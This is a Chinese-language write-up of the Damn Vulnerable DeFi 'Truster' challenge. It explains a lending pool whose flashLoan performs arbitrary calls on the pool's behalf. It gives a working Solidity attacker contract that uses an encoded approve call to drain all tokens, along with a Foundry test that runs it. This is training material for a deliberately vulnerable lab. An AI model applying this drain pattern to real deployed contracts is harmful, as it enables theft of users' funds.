[区块链安全-Damn_Vulnerable_DeFi]区块链DeFi智能合约安全实战(V4.1.0)T3 Truster

3.Truster 介绍,漏洞代码,攻击代码,思路

挑战网站链接

目录

3.Truster

介绍


越来越多的借贷池开始提供闪贷服务。本场景中,一个新上线的借贷池推出了 免费的 DVT 代币闪贷(无需支付手续费)。

该借贷池持有 100 万枚 DVT 代币,而你初始一无所有。

要完成本挑战,需通过 单笔交易 提取借贷池中的全部资金,并将这些资金存入指定的恢复账户(recovery account)。

漏洞代码

pool的flashLone中

//@audit-issue :允许任意数据以pool的名义调用
        target.functionCall(data);

攻击代码

contract Attacker {
    function attack(TrusterLenderPool pool, DamnValuableToken token, address recovery) external {
        bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), 1_000_000e18);
        pool.flashLoan(0, msg.sender, address(token), data);
        token.transferFrom(address(pool), recovery, 1_000_000e18);
    }
}
function test_truster() public checkSolvedByPlayer {
        //console.log("Nonce before new Attacker:", vm.getNonce(player));
        Attacker attacker = new Attacker(); // 增加 nonce
        //console.log("Nonce after new Attacker:", vm.getNonce(player));
        attacker.attack(pool, token, recovery);
        //console.log("Nonce after attack call:", vm.getNonce(player));
    }

之所以要部署攻击代码在一个新的合约上,是因为在 Foundry 测试中,vm.startPrank 只是设置了 msg.sender,但没有真正发送链上交易,所以 vm.getNonce(player) 仍然是 0。 只有部署合约才会真正发送一笔交易,从而让player的nonce增加,达到作者要求的player只执行一笔交易的要求。

点赞 0
收藏 0
分享

0 条评论

请先 登录 后评论
Maxence90
Maxence90
学习。。。